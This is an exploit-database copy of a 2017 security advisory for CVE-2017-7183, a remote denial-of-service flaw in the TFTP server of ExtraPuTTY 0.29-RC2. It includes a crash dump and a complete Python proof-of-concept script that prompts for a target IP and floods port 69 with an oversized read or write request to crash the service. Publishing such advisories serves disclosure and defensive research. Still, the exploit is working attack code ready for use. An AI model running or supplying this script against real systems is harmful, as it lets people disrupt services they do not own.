Skip to content
cyberexploits
doswindowstext

ExtraPuTTY 0.29-RC2 - Denial of Service

ExtraPuTTY 0.29-RC2 - Denial of Service

Published on 2017-03-20

Source code

Pinned to commit 7eac4c3a2ce5
textplatforms/windows/dos/41639.txt7eac4c3a
raw
[+] Credits: John Page AKA hyp3rlinx	

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/EXTRAPUTTY-TFTP-DENIAL-OF-SERVICE.txt

[+] ISR: ApparitionSec            

 





Vendor:

==================

www.extraputty.com







Product:

======================

ExtraPuTTY - v029_RC2

hash: d7212fb5bc4144ef895618187f532773



Also Vulnerable: v0.30 r15

hash: eac63550f837a98d5d52d0a19d938b91



ExtraPuTTY is a fork from 0.67 version of PuTTY.

ExtraPuTTY has all the features from the original soft and adds others.



Below a short list of the principal features (see all features):

DLL frontend

TestStand API ( LabWindows ,TestStand 2012)

timestamp

StatusBar

Scripting a session with lua 5.3.

Automatic sequencing of commands.

Shortcuts for pre-defined commands.

Keyboard shortcuts for pre-defined command

Portability (use of directories structure)

Integrates FTP,TFTP,SCP,SFTP,Ymodem,Xmodem transfert protocols

Integrates PuTTYcyg,PuTTYSC, HyperLink, zmodem and session manager projects

Change default settings from configuration file

Change putty settings during session

PuTTYcmdSender : tool to send command or keyboard shortcut to multiple putty windows





Vulnerability Type:

=======================

TFTP Denial of Service







CVE Reference:

==============

CVE-2017-7183







Security Issue:

================

TFTP server component of ExtraPuTTY is vulnerable to remote Denial of Service attack by sending large junk UDP

Read/Write TFTP protocol request packets. 



Open ExtraPuTTY Session Manager, select => Files Transfer => TFTP Server, run below Python exploit.



Then, BOOM



(100c.30c): Access violation - code c0000005 (first/second chance not available)

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for kernel32.dll - 

eax=00000000 ebx=0929ee98 ecx=00000174 edx=7efefeff esi=00000002 edi=00000000

eip=77b4015d esp=0929ee48 ebp=0929eee4 iopl=0         nv up ei pl zr na pe nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246

ntdll!ZwWaitForMultipleObjects+0x15:







Exploit/POC:

=============

import socket



print "ExtraPuTTY v029_RC2 TFTP Server"

print "Remote Denial Of Service 0day Exploit"

print "John Page AKA hyp3rlinx\n"



TARGET=raw_input("[IP]>")

TYPE=int(raw_input("[Select DOS Type: Read=1, Write=2]>"))

CRASH="A"*2000                     

PORT = 69



if TYPE==1:

    PAYLOAD = "\x00\x01"                                     

    PAYLOAD += CRASH + "\x00"   

    PAYLOAD += "netascii\x00"                                

elif TYPE==2:

    PAYLOAD = "\x00\x02"                                     

    PAYLOAD += CRASH + "\x00"   

    PAYLOAD += "netascii\x00"                                



try:

    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    s.sendto("\x00\x01\TEST\x00\netascii\x00", (TARGET, PORT))

    recv = s.recvfrom(255)

    if recv != None:

        print "Crashing ExtraPuTTY TFTP server at : %s" %(TARGET)

        s.sendto(PAYLOAD, (TARGET, PORT))

except Exception:

        print 'Server not avail, try later'

s.close()











Network Access:

===============

Remote







Severity:

=========

Medium







Disclosure Timeline:

===============================

Vendor Notification:  No reply

March 20, 2017 : Public Disclosure







[+] Disclaimer

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.

Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and

that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit

is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility

for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information

or exploits by the author or elsewhere. All content (c).



hyp3rlinx
View on GitHub